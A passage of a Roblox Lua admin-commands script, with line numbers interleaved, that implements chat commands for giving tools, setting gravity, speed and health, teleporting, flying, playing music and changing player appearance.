hs = Instance.new("Handles", game.Players.LocalPlayer.PlayerGui) hs.Color = BrickColor.new("Bright blue") hs.Adornee = nil
7110
mouse.Button1Down:connect(function() if not mouse.Target or mouse.Target.Locked then sb.Adornee = nil hs.Adornee = nil else sb.Adornee = mouse.Target hs.Adornee = mouse.Target hs.Faces = mouse.Target.ResizeableFaces end end)
7111
hs.MouseDrag:connect(function(old,dist) if hs.Adornee and math.abs(dist-pdist) >= hs.Adornee.ResizeIncrement then if hs.Adornee:Resize(old, math.floor((dist-pdist)/ hs.Adornee.ResizeIncrement + .5) * hs.Adornee.ResizeIncrement) then pdist = dist end end end)
7112
hs.MouseButton1Down:connect(function() pdist = 0 end)
7113
end)
7114
7115
script.Parent.Deselected:connect(function() sb:Destroy() hs:Destroy() end)]] cl4.Disabled = false
7116
end
7117
end))
7118
end
7119
end
7120
7121
if msg:lower():sub(1,12) == "startergive " then
7122
local chk1 = msg:lower():sub(13):find(" ") + 12
7123
local plrz = GetPlr(plr, msg:lower():sub(13,chk1-1))
7124
for i, v in pairs(plrz) do
7125
coroutine.resume(coroutine.create(function()
7126
if v and v:findFirstChild("StarterGear") and game:findFirstChild("Lighting") then 
7127
for a, tool in pairs(game.Lighting:children()) do
7128
if tool:IsA("Tool") or tool:IsA("HopperBin") then
7129
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.StarterGear end
7130
end
7131
end
7132
end
7133
end))
7134
end
7135
end
7136
7137
if msg:lower():sub(1,5) == "give " then
7138
local chk1 = msg:lower():sub(6):find(" ") + 5
7139
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
7140
for i, v in pairs(plrz) do
7141
coroutine.resume(coroutine.create(function()
7142
if v and v:findFirstChild("Backpack") and game:findFirstChild("Lighting") then 
7143
for a, tool in pairs(game.Lighting:children()) do
7144
if tool:IsA("Tool") or tool:IsA("HopperBin") then
7145
if msg:lower():sub(chk1+1) == "all" or tool.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then tool:Clone().Parent = v.Backpack end
7146
end
7147
end
7148
end
7149
end))
7150
end
7151
end
7152
7153
if msg:lower():sub(1,12) == "removetools " then
7154
local plrz = GetPlr(plr, msg:lower():sub(13))
7155
for i, v in pairs(plrz) do
7156
coroutine.resume(coroutine.create(function()
7157
if v and v.Character and v:findFirstChild("Backpack") then 
7158
for a, tool in pairs(v.Character:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
7159
for a, tool in pairs(v.Backpack:children()) do if tool:IsA("Tool") or tool:IsA("HopperBin") then tool:Destroy() end end
7160
end
7161
end))
7162
end
7163
end
7164
7165
if msg:lower():sub(1,5) == "rank " then
7166
local chk1 = msg:lower():sub(6):find(" ") + 5
7167
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
7168
for i, v in pairs(plrz) do
7169
coroutine.resume(coroutine.create(function()
7170
if v and v:IsInGroup(msg:sub(chk1+1)) then 
7171
Hint("[" .. v:GetRankInGroup(msg:sub(chk1+1)) .. "] " .. v:GetRoleInGroup(msg:sub(chk1+1)), {plr})
7172
elseif v and not v:IsInGroup(msg:sub(chk1+1))then
7173
Hint(v.Name .. " is not in the group " .. msg:sub(chk1+1), {plr})
7174
end
7175
end))
7176
end
7177
end
7178
7179
if msg:lower():sub(1,7) == "damage " then
7180
local chk1 = msg:lower():sub(8):find(" ") + 7
7181
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
7182
for i, v in pairs(plrz) do
7183
coroutine.resume(coroutine.create(function()
7184
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
7185
v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
7186
end
7187
end))
7188
end
7189
end
7190
7191
if msg:lower():sub(1,5) == "grav " then
7192
local plrz = GetPlr(plr, msg:lower():sub(6))
7193
for i, v in pairs(plrz) do
7194
coroutine.resume(coroutine.create(function()
7195
if v and v.Character and v.Character:findFirstChild("Torso") then 
7196
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
7197
end
7198
end))
7199
end
7200
end
7201
7202
if msg:lower():sub(1,8) == "setgrav " then
7203
local chk1 = msg:lower():sub(9):find(" ") + 8
7204
local plrz = GetPlr(plr, msg:lower():sub(9,chk1-1))
7205
for i, v in pairs(plrz) do
7206
coroutine.resume(coroutine.create(function()
7207
if v and v.Character and v.Character:findFirstChild("Torso") then 
7208
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
7209
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
7210
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force - Vector3.new(0,prt:GetMass()*msg:sub(chk1+1),0) elseif prt:IsA("Hat") then frc.force = frc.force - Vector3.new(0,prt.Handle:GetMass()*msg:sub(chk1+1),0) end end
7211
end
7212
end))
7213
end
7214
end
7215
7216
if msg:lower():sub(1,7) == "nograv " then
7217
local plrz = GetPlr(plr, msg:lower():sub(8))
7218
for i, v in pairs(plrz) do
7219
coroutine.resume(coroutine.create(function()
7220
if v and v.Character and v.Character:findFirstChild("Torso") then 
7221
for a, frc in pairs(v.Character.Torso:children()) do if frc.Name == "BFRC" then frc:Destroy() end end
7222
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(0,0,0)
7223
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.25,0) end end
7224
end
7225
end))
7226
end
7227
end
7228
7229
if msg:lower():sub(1,7) == "health " then
7230
local chk1 = msg:lower():sub(8):find(" ") + 7
7231
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
7232
for i, v in pairs(plrz) do
7233
coroutine.resume(coroutine.create(function()
7234
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
7235
v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
7236
v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
7237
end
7238
end))
7239
end
7240
end
7241
7242
if msg:lower():sub(1,6) == "speed " then
7243
local chk1 = msg:lower():sub(7):find(" ") + 6
7244
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
7245
for i, v in pairs(plrz) do
7246
coroutine.resume(coroutine.create(function()
7247
if v and v.Character and v.Character:findFirstChild("Humanoid") then 
7248
v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
7249
end
7250
end))
7251
end
7252
end
7253
7254
if msg:lower():sub(1,5) == "team " then
7255
local chk1 = msg:lower():sub(6):find(" ") + 5
7256
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
7257
for i, v in pairs(plrz) do
7258
coroutine.resume(coroutine.create(function()
7259
if v and game:findFirstChild("Teams") then 
7260
for a, tm in pairs(game.Teams:children()) do
7261
if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
7262
end
7263
end
7264
end))
7265
end
7266
end
7267
7268
if msg:lower():sub(1,6) == "place " then
7269
local chk1 = msg:lower():sub(7):find(" ") + 6
7270
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
7271
for i, v in pairs(plrz) do
7272
coroutine.resume(coroutine.create(function()
7273
if v and v:findFirstChild("PlayerGui") then 
7274
local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
7275
end
7276
end))
7277
end
7278
end
7279
7280
if msg:lower():sub(1,3) == "tp " then
7281
local chk1 = msg:lower():sub(4):find(" ") + 3
7282
local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
7283
local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
7284
for i, v in pairs(plrz) do
7285
coroutine.resume(coroutine.create(function()
7286
for i2, v2 in pairs(plrz2) do
7287
if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
7288
v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
7289
end
7290
end
7291
end))
7292
end
7293
end
7294
7295
if msg:lower():sub(1,7) == "change " then
7296
local chk1 = msg:lower():sub(8):find(" ") + 7
7297
local chk2 = msg:sub(chk1+1):find(" ") + chk1
7298
local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
7299
for i, v in pairs(plrz) do
7300
coroutine.resume(coroutine.create(function()
7301
if v and v:findFirstChild("leaderstats") then 
7302
for a, st in pairs(v.leaderstats:children()) do
7303
if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
7304
end
7305
end
7306
end))
7307
end
7308
end
7309
7310
if msg:lower():sub(1,6) == "shirt " then
7311
local chk1 = msg:lower():sub(7):find(" ") + 6
7312
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
7313
for i, v in pairs(plrz) do
7314
coroutine.resume(coroutine.create(function()
7315
if v and v.Character then 
7316
for i,v in pairs(v.Character:children()) do
7317
if v:IsA("Shirt") then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
7318
end
7319
end
7320
end))
7321
end
7322
end
7323
7324
if msg:lower():sub(1,6) == "pants " then
7325
local chk1 = msg:lower():sub(7):find(" ") + 6
7326
local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
7327
for i, v in pairs(plrz) do
7328
coroutine.resume(coroutine.create(function()
7329
if v and v.Character then 
7330
for i,v in pairs(v.Character:children()) do
7331
if v:IsA("Pants") then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=" .. chk1 v:Destroy() end
7332
end
7333
end
7334
end))
7335
end
7336
end
7337
7338
if msg:lower():sub(1,5) == "face " then
7339
local chk1 = msg:lower():sub(6):find(" ") + 5
7340
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
7341
for i, v in pairs(plrz) do
7342
coroutine.resume(coroutine.create(function()
7343
if v and v.Character and v.Character:findFirstChild("Head") and v.Character.Head:findFirstChild("face") then 
7344
v.Character.Head:findFirstChild("face").Texture = "http://www.roblox.com/asset/?id=" .. chk1
7345
end
7346
end))
7347
end
7348
end
7349
7350
---------------------
7351
--   FunCommands   --
7352
---------------------
7353
if FunCommands or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
7354
	
7355
if msg:lower():sub(1,8) == "swagify " then
7356
local plrz = GetPlr(plr, msg:lower():sub(9))
7357
for i, v in pairs(plrz) do
7358
coroutine.resume(coroutine.create(function()
7359
if v and v.Character then
7360
for i,v in pairs(v.Character:children()) do
7361
if v.Name == "Shirt" then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
7362
if v.Name == "Pants" then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate = "http://www.roblox.com/asset/?id=109163376" v:Destroy() end
7363
end
7364
for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
7365
local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
7366
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
7367
local torso = plr.Character.Torso
7368
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
7369
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
7370
p.Size = Vector3.new(.2,.2,.2)
7371
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
7372
local motor1 = Instance.new("Motor", p)
7373
motor1.Part0 = p
7374
motor1.Part1 = torso
7375
motor1.MaxVelocity = .01
7376
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
7377
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
7378
local wave = false
7379
repeat wait(1/44)
7380
local ang = 0.1
7381
local oldmag = torso.Velocity.magnitude
7382
local mv = .002
7383
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
7384
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
7385
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
7386
motor1.DesiredAngle = -ang
7387
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
7388
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag)  >= (torso.Velocity.magnitude/10) + 1
7389
if torso.Velocity.magnitude < .1 then wait(.1) end
7390
until not p or p.Parent ~= torso.Parent
7391
script:Destroy()
7392
]] cl.Parent = v.PlayerGui cl.Disabled = false
7393
end
7394
end))
7395
end
7396
end
7397
7398
if msg:lower():sub(1,6) == "music " then
7399
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
7400
local id = msg:sub(7)
7401
local pitch = 1
7402
if tostring(id):lower():find("caramell") then id = 2303479 end
7403
if tostring(id):find("epic") then id = 27697743 pitch = 2.5 end
7404
if tostring(id):find("rick") then id = 2027611 end
7405
if tostring(id):find("halo") then id = 1034065  end
7406
if tostring(id):find("pokemon") then id = 1372261 end
7407
if tostring(id):find("cursed") then id = 1372257 end
7408
if tostring(id):find("extreme") then id = 11420933 end
7409
if tostring(id):find("awaken") then id = 27697277 end
7410
if tostring(id):find("alone") then id = 27697392 end
7411
if tostring(id):find("mario") then id = 1280470 end
7412
if tostring(id):find("choir") then id = 1372258 end
7413
if tostring(id):find("chrono") then id = 1280463 end
7414
if tostring(id):find("dotr") then id = 11420922 end
7415
if tostring(id):find("entertain") then id = 27697267 end
7416
if tostring(id):find("fantasy") then id = 1280473 end
7417
if tostring(id):find("final") then id = 1280414 end
7418
if tostring(id):find("emblem") then id = 1372259 end
7419
if tostring(id):find("flight") then id = 27697719 end
7420
if tostring(id):find("banjo") then id = 27697298 end
7421
if tostring(id):find("gothic") then id = 27697743 end
7422
if tostring(id):find("hiphop") then id = 27697735 end
7423
if tostring(id):find("intro") then id = 27697707 end
7424
if tostring(id):find("mule") then id = 1077604 end
7425
if tostring(id):find("film") then id = 27697713 end
7426
if tostring(id):find("nezz") then id = 8610025 end
7427
if tostring(id):find("angel") then id = 1372260 end
7428
if tostring(id):find("resist") then id = 27697234 end
7429
if tostring(id):find("schala") then id = 5985787 end
7430
if tostring(id):find("organ") then id = 11231513 end
7431
if tostring(id):find("tunnel") then id = 9650822 end
7432
if tostring(id):find("spanish") then id = 5982975 end
7433
if tostring(id):find("venom") then id = 1372262 end
7434
if tostring(id):find("wind") then id = 1015394 end
7435
if tostring(id):find("guitar") then id = 5986151 end
7436
local s = Instance.new("Sound", game.Workspace) s.SoundId = "http://www.roblox.com/asset/?id=" .. id s.Volume = 1 s.Pitch = pitch s.Looped = true s.archivable = false repeat s:Play() wait(2.5) s:Stop() wait(.5) s:Play() until s.IsPlaying
7437
end
7438
7439
if msg:lower() == "stopmusic" then
7440
for i, v in pairs(game.Workspace:children()) do if v:IsA("Sound") then v:Destroy() end end
7441
end
7442
7443
if msg:lower() == "musiclist" then
7444
if plr.PlayerGui:findFirstChild("MUSICGUI") then return end
7445
local scr, cmf, ent, num = ScrollGui() scr.Name = "MUSICGUI" scr.Parent = plr.PlayerGui
7446
local list = {"caramell","epic","rick","halo","pokemon","cursed","extreme","awaken","alone","mario","choir","chrono","dotr","entertain","fantasy","final","emblem","flight","banjo","gothic","hiphop","intro","mule","film","nezz","angel","resist","schala","organ","tunnel","spanish","venom","wind","guitar"}
7447
for i, v in pairs(list) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
7448
end
7449
7450
if msg:lower():sub(1,4) == "fly " then
7451
local plrz = GetPlr(plr, msg:lower():sub(5))
7452
for i, v in pairs(plrz) do
7453
coroutine.resume(coroutine.create(function()
7454
if v and v:findFirstChild("PlayerGui") then
7455
local cl = script.LocalScriptBase:Clone() cl.Name = "FlyScript" cl.Code.Value = [[repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") 
7456
local mouse = game.Players.LocalPlayer:GetMouse() 
7457
repeat wait() until mouse
7458
local plr = game.Players.LocalPlayer 
7459
local torso = plr.Character.Torso 
7460
local flying = true
7461
local deb = true 
7462
local ctrl = {f = 0, b = 0, l = 0, r = 0} 
7463
local lastctrl = {f = 0, b = 0, l = 0, r = 0} 
7464
local maxspeed = 50 
7465
local speed = 0 
7466
function Fly() 
7467
local bg = Instance.new("BodyGyro", torso) 
7468
bg.P = 9e4 
7469
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9) 
7470
bg.cframe = torso.CFrame 
7471
local bv = Instance.new("BodyVelocity", torso) 
7472
bv.velocity = Vector3.new(0,0.1,0) 
7473
bv.maxForce = Vector3.new(9e9, 9e9, 9e9) 
7474
repeat wait() 
7475
plr.Character.Humanoid.PlatformStand = true 
7476
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then 
7477
speed = speed+.5+(speed/maxspeed) 
7478
if speed > maxspeed then 
7479
speed = maxspeed 
7480
end 
7481
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then 
7482
speed = speed-1 
7483
if speed < 0 then 
7484
speed = 0 
7485
end 
7486
end 
7487
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then 
7488
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
7489
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r} 
7490
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then 
7491
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed 
7492
else 
7493
bv.velocity = Vector3.new(0,0.1,0) 
7494
end 
7495
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0) 
7496
until not flying 
7497
ctrl = {f = 0, b = 0, l = 0, r = 0} 
7498
lastctrl = {f = 0, b = 0, l = 0, r = 0} 
7499
speed = 0 
7500
bg:Destroy() 
7501
bv:Destroy() 
7502
plr.Character.Humanoid.PlatformStand = false 
7503
end 
7504
mouse.KeyDown:connect(function(key) 
7505
if key:lower() == "e" then 
7506
if flying then flying = false 
7507
else 
7508
flying = true 
7509
Fly() 
7510
end 
7511
elseif key:lower() == "w" then 
7512
ctrl.f = 1 
7513
elseif key:lower() == "s" then 
7514
ctrl.b = -1 
7515
elseif key:lower() == "a" then 
7516
ctrl.l = -1 
7517
elseif key:lower() == "d" then 
7518
ctrl.r = 1 
7519
end 
7520
end) 
7521
mouse.KeyUp:connect(function(key) 
7522
if key:lower() == "w" then 
7523
ctrl.f = 0 
7524
elseif key:lower() == "s" then 
7525
ctrl.b = 0 
7526
elseif key:lower() == "a" then 
7527
ctrl.l = 0 
7528
elseif key:lower() == "d" then 
7529
ctrl.r = 0 
7530
end 
7531
end)
7532
Fly()]]
7533
cl.Parent = v.PlayerGui cl.Disabled = false
7534
end
7535
end))
7536
end
7537
end
7538
7539
if msg:lower():sub(1,6) == "unfly " then
7540
local plrz = GetPlr(plr, msg:lower():sub(7))
7541
for i, v in pairs(plrz) do
7542
coroutine.resume(coroutine.create(function()
7543
if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
7544
for a, q in pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
7545
for a, q in pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name == "BodyVelocity" then q:Destroy() end end
7546
wait(.1) v.Character.Humanoid.PlatformStand = false
7547
end
7548
end))
7549
end
7550
end
7551
7552
if msg:lower() == "disco" then
7553
for i, v in pairs(lobjs) do v:Destroy() end
7554
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) local color = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255)
7555
game.Lighting.Ambient = color
7556
game.Lighting.FogColor = color
7557
until nil]]
7558
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
7559
end
7560
7561
if msg:lower() == "flash" then
7562
for i, v in pairs(lobjs) do v:Destroy() end
7563
local cl = script.ScriptBase:Clone() cl.Name = "LightEdit" cl.Code.Value = [[repeat wait(.1) 
7564
game.Lighting.Ambient = Color3.new(1,1,1)
7565
game.Lighting.FogColor = Color3.new(1,1,1)
7566
game.Lighting.Brightness = 1
7567
game.Lighting.TimeOfDay = 14
7568
wait(.1) 
7569
game.Lighting.Ambient = Color3.new(0,0,0)
7570
game.Lighting.FogColor = Color3.new(0,0,0)
7571
game.Lighting.Brightness = 0
7572
game.Lighting.TimeOfDay = 0
7573
until nil]]
7574
table.insert(lobjs, cl) cl.Parent = game.Workspace cl.Disabled = false
7575
end
7576
7577
if msg:lower():sub(1,5) == "spin " then
7578
local plrz = GetPlr(plr, msg:lower():sub(6))
7579
for i, v in pairs(plrz) do
7580
coroutine.resume(coroutine.create(function()
7581
if v and v.Character and v.Character:findFirstChild("Torso") then
7582
for i,v in pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end end
7583
local torso = v.Character:findFirstChild("Torso")
7584
local bg = Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque = Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame table.insert(objects,bg)
7585
repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
7586
until not bg or bg.Parent ~= torso
7587
end
7588
end))
7589
end
7590
end
7591
7592
if msg:lower():sub(1,7) == "unspin " then
7593
local plrz = GetPlr(plr, msg:lower():sub(8))
7594
for i, v in pairs(plrz) do
7595
coroutine.resume(coroutine.create(function()
7596
if v and v.Character and v.Character:findFirstChild("Torso") then
7597
for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
7598
end
7599
end))
7600
end
7601
end
7602
7603
if msg:lower():sub(1,4) == "dog " then
7604
local plrz = GetPlr(plr, msg:lower():sub(5))
7605
for i, v in pairs(plrz) do
7606
coroutine.resume(coroutine.create(function()
7607
if v and v.Character and v.Character:findFirstChild("Torso") then
7608
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
7609
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
7610
v.Character.Torso.Transparency = 1
7611
v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
7612
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
7613
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
7614
v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
7615
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
7616
local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
7617
local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
7618
local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
7619
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
7620
end
7621
end))
7622
end
7623
end
7624
7625
if msg:lower():sub(1,6) == "undog " then
7626
local plrz = GetPlr(plr, msg:lower():sub(7))
7627
for i, v in pairs(plrz) do
7628
coroutine.resume(coroutine.create(function()
7629
if v and v.Character and v.Character:findFirstChild("Torso") then
7630
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
7631
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
7632
v.Character.Torso.Transparency = 0
7633
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
7634
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
7635
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
7636
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
7637
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
7638
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
7639
end
7640
end))
7641
end
7642
end
7643
7644
if msg:lower():sub(1,8) == "creeper " then
7645
local plrz = GetPlr(plr, msg:lower():sub(9))
7646
for i, v in pairs(plrz) do
7647
coroutine.resume(coroutine.create(function()
7648
if v and v.Character and v.Character:findFirstChild("Torso") then
7649
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
7650
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
7651
v.Character.Torso.Transparency = 0
7652
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
7653
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
7654
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
7655
v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
7656
v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
7657
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
7658
end
7659
end))
7660
end
7661
end
7662
7663
if msg:lower():sub(1,10) == "uncreeper " then
7664
local plrz = GetPlr(plr, msg:lower():sub(11))
7665
for i, v in pairs(plrz) do
7666
coroutine.resume(coroutine.create(function()
7667
if v and v.Character and v.Character:findFirstChild("Torso") then
7668
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
7669
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
7670
v.Character.Torso.Transparency = 0
7671
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
7672
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
7673
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
7674
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
7675
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
7676
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
7677
end
7678
end))
7679
end
7680
end
7681
7682
if msg:lower():sub(1,8) == "bighead " then
7683
local plrz = GetPlr(plr, msg:lower():sub(9))
7684
for i, v in pairs(plrz) do
7685
coroutine.resume(coroutine.create(function()
7686
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
7687
end))
7688
end
7689
end
7690
7691
if msg:lower():sub(1,9) == "minihead " then
7692
